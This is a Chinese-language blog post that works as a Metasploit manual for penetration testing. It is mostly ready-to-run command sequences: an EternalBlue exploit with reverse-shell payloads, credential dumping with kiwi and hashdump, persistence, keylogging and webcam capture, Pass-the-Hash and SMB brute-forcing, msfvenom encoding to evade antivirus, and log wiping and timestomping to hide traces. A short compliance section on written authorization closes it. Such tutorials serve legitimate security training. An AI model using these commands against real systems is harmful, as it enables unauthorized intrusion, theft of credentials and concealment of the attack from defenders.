Metasploit简易手册
Metasploit 详细使用手册
渗透测试框架终极武器
🔗 官方网站:https://www.metasploit.com
🔗 文档中心:https://docs.metasploit.com
🔗 GitHub 仓库:https://github.com/rapid7/metasploit-framework
1. Metasploit 核心架构
Metasploit 框架采用模块化设计,主要组件:
组件 功能描述 msfconsole 主交互界面(90%的操作在此完成) Modules 功能模块:Exploit(漏洞利用)、Payload(攻击载荷)、Auxiliary(辅助)等 msfvenom 载荷生成器(创建免杀木马) Database PostgreSQL集成,存储扫描结果和会话数据 Meterpreter 高级内存驻留后渗透代理(无文件操作)
2. 完整安装指南
Kali Linux(预装):
1
2sudo apt update && sudo apt full-upgrade
msfdb init # 初始化数据库其他系统:
1
2
3
4
5
6
7
8
9
10
11# Ubuntu
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
./msfinstall
# Windows
下载:https://windows.metasploit.com/metasploitframework-latest.msi
# macOS
brew tap homebrew/cask
brew install metasploit数据库配置:
1
2
3systemctl start postgresql # 启动数据库
msfdb init # 初始化
db_status # 验证连接
3. 模块深度解析
A. Exploit 模块(漏洞利用)
1
2
3
4
5
6
7
8
9
10# 搜索模块
search type:exploit platform:windows name:smb
# 常用参数
set RHOSTS 192.168.1.100 # 目标IP
set RPORT 445 # 目标端口
set LHOST 192.168.1.50 # 监听IP
set LPORT 4444 # 监听端口
set TARGET 0 # 选择目标系统版本
set PAYLOAD windows/x64/meterpreter/reverse_tcpB. Payload 模块(攻击载荷)
类型 说明 示例 反向Shell 目标主动连接攻击者 windows/meterpreter/reverse_tcp
绑定Shell 攻击者连接目标监听端口 windows/shell_bind_tcp
无文件载荷 完全内存驻留 windows/x64/meterpreter_reverse_https
跨平台载荷 支持多系统 java/meterpreter/reverse_tcp
C. Auxiliary 模块(辅助工具)
1
2
3
4
5
6
7
8
9
10
11
12# 端口扫描
use auxiliary/scanner/portscan/tcp
set PORTS 1-1000
set RHOSTS 192.168.1.0/24
# 漏洞验证
use auxiliary/scanner/smb/smb_ms17_010
# 密码爆破
use auxiliary/scanner/ssh/ssh_login
set USER_FILE /path/users.txt
set PASS_FILE /path/passwords.txt
4. 完整渗透工作流(以 EternalBlue 为例)
Step 1:信息收集
1
2db_nmap -sV -O 192.168.1.100 # 扫描结果存入数据库
services -p 445 -R # 列出所有开放445端口的主机Step 2:漏洞利用
1
2
3
4
5use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST eth0
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit -j # 后台执行Step 3:后渗透操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18# 基础信息收集
sysinfo
run post/windows/gather/enum_logged_on_users
# 权限提升
getsystem # 尝试提权
run post/multi/recon/local_exploit_suggester
# 密码提取
load kiwi
creds_all
# 持久化
run persistence -X -i 60 -p 443 -r 192.168.1.50
# 横向移动
run post/windows/manage/migrate
run post/multi/manage/autorouteStep 4:痕迹清理
1
2clearev # 清除日志
timestomp -b C:\\target.exe # 恢复文件时间戳
5. Meterpreter 高级命令手册
类别 命令 功能 文件系统 download /path/file
下载文件 upload /local/file C:\\target
上传文件 edit file.txt
编辑文件 系统操作 screenshot
截屏 webcam_snap
摄像头拍照 keyscan_start
键盘记录 网络操作 portfwd add -l 3389 -p 3389 -r TARGET_IP
端口转发 arp
查看ARP表 权限管理 getsystem
提权至SYSTEM run post/windows/gather/hashdump
导出密码哈希 防御规避 migrate <PID>
迁移进程(推荐迁移到explorer.exe) load powershell
加载PowerShell扩展
6. 高级技巧与最佳实践
A. 载荷免杀处理
1
2
3
4msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=443 \
-e x86/shikata_ga_nai -i 5 \
-f exe -o payload.exe \
--encoder-options key=mysecretpasswordB. 资源脚本自动化
创建autopwn.rc
:1
2
3
4
5
6
7
8
9
10
11
12# 自动化攻击脚本
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set ExitOnSession false
exploit -j -z
# 后渗透自动化
use post/windows/manage/migrate
set SESSION -1
run执行:
msfconsole -r autopwn.rc
C. 横向移动技术
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16# 添加路由
run post/multi/manage/autoroute SUBNET=192.168.2.0/24
# SMB登录爆破
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.2.1-254
set SMBDOMAIN MYDOMAIN
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
# Pass-the-Hash攻击
use exploit/windows/smb/psexec
set RHOST 192.168.2.50
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
7. 防御规避与隐蔽技术
流量加密:
1
2
3set EnableStageEncoding true
set StageEncoder x86/fnstenv_mov
set StagerVerifySSLCert true反沙箱检测:
1
2run post/windows/gather/checkvm # 检测虚拟机
run post/windows/manage/smart_migrate # 智能进程迁移时间规避:
1
2set SLEEP 10 # 延迟10秒
set TIMEOUT 60 # 超时60秒日志清理:
1
2run event_manager -c # 清除事件日志
clearev # 清除安全/系统/应用日志
8. 专业维护与更新
1
2
3
4
5
6
7
8
9
10
11# 每日更新
msfupdate # 框架更新
apt update && apt upgrade # Kali系统更新
# 模块管理
reload_all # 重载所有模块
search -u # 检查模块更新
# 数据库维护
db_export -f xml /path/backup.xml # 备份数据
db_rebuild_cache # 重建缓存
9. 安全与合规指南
- 法律授权:必须持有书面渗透测试授权书
- 范围限定:明确测试边界(IP/域名/时间窗)
- 数据保护:加密存储敏感数据,测试后立即删除
- 规避风险:
- 避免使用
-j -z
参数在生产环境自动化攻击 - 禁用
exploit/windows/smb/psexec
在高负载系统
- 避免使用
- 报告要求:
- 记录所有执行的命令(
spool /path/log.txt
) - 截图关键证据(
screenshot
) - 提供漏洞修复建议
- 记录所有执行的命令(
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 百山木兮!
评论